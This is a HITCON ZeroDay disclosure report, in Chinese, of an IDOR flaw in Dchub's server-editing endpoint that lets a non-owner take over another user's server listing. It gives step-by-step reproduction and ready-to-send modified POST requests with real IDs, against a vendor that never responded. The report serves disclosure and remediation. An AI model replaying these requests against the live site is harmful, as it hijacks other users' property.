Dchub伺服器所有權奪取IDOR - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-01028
  •  發信 Vendor: Dchub
  • Title: Dchub伺服器所有權奪取IDOR
  • Introduction: 非伺服器所有者可以隨意修改伺服器資訊,如伺服器介紹、伺服器所有者

處理狀態

目前狀態

公開
Last Update : 2025/10/21
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2025/08/21 11:27:58 : 新提交 (由 Tobydog 更新此狀態)
  • 2025/08/21 22:34:42 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/08/26 19:04:19 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/08/26 19:04:19 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/08/26 19:04:19 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/10/21 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-01028
  • 通報者:tobydog0501 (Tobydog)
  • 風險:高
  • 類型:不安全的直接存取物件 (Insecure Direct Object References, IDOR)

參考資料

攻擊者可經由該漏洞取得系統中的其他使用者的資料或是系統檔案。

OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References

Insecure Direct Object Reference Prevention Cheat Sheet
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.md

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.dchubs.org

敘述

編輯伺服器資料的功能沒有正確檢查物件的擁有者。
因此,其他使用者即使並非該物件的擁有者,也可以執行修改動作。

重現步驟

  1. 以攻擊者帳號登入
  2. 新增一個自己擁有的伺服器
  3. 找到受害者的伺服器 ID 和使用者 ID
  4. 嘗試編輯攻擊者自己的伺服器,並攔截請求,請求應該長得像這樣:
POST /profile/servers/1407609997092978700/edit HTTP/2
Host: www.dchubs.org
OTHER HEADERS ARE SKIPPED

[{"id":"SERVER_ID THAT ATTACKER OWNS","name":"SERVER_NAME THAT ATTACKER OWNS",...,"owner":{"connectOrCreate":{"where":{"id":"ATTACKER_ID"},"create":{"id":"ATTACKER_ID","username":"ATTACKER_NAME","avatar":"","banner":null,[]]
  1. 將請求主體中的伺服器 ID 改成目標的伺服器 ID,使用者 ID 改成目標的使用者 ID。
    若要劫持擁有權,則將使用者 ID 保持為攻擊者的。

PoC

攻擊者伺服器 ID: 1407609997092978700
攻擊者使用者 ID: 1355027069225930994
受害者伺服器 ID: 1407610693401710664
受害者使用者 ID: 1403602480494809150

以攻擊者身份登入,編輯伺服器資料,並攔截請求:

POST /profile/servers/1407609997092978700/edit HTTP/2
Host: www.dchubs.org
OTHER HEADERS ARE SKIPPED

[{"id":"1407609997092978700","name":"A brand new server","icon":"","banner":null,"description":"test","longDescription":"1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111","inviteUrl":"https://discord.gg/asda","website":"","VoteNotificationURL":"$undefined","secret":"$undefined","tags":["test"],"members":2,"online":1,"rules":[],"screenshots":[],"upvotes":0,"owner":{"connectOrCreate":{"where":{"id":"1355027069225930994"},"create":{"id":"1355027069225930994","username":"未知使用者","avatar":"","banner":null,[]]

修改為:

POST /profile/servers/1407609997092978700/edit HTTP/2
Host: www.dchubs.org
OTHER HEADERS ARE SKIPPED

[{"id":"1407610693401710664","name":"A good server that is hacked","icon":"","banner":null,"description":"test","longDescription":"1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111","inviteUrl":"https://discord.gg/asda","website":"","VoteNotificationURL":"$undefined","secret":"$undefined","tags":["test"],"members":2,"online":1,"rules":[],"screenshots":[],"upvotes":0,"owner":{"connectOrCreate":{"where":{"id":"1355027069225930994"},"create":{"id":"1355027069225930994","username":"未知使用者","avatar":"","banner":null,[]]

發送請求後,攻擊者將成為該伺服器資料的擁有者。

風險

可能導致資料遭竄改或洩露。

修補建議

在執行動作時,必須檢查 Cookie 中的使用者是否確實是該物件的擁有者。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;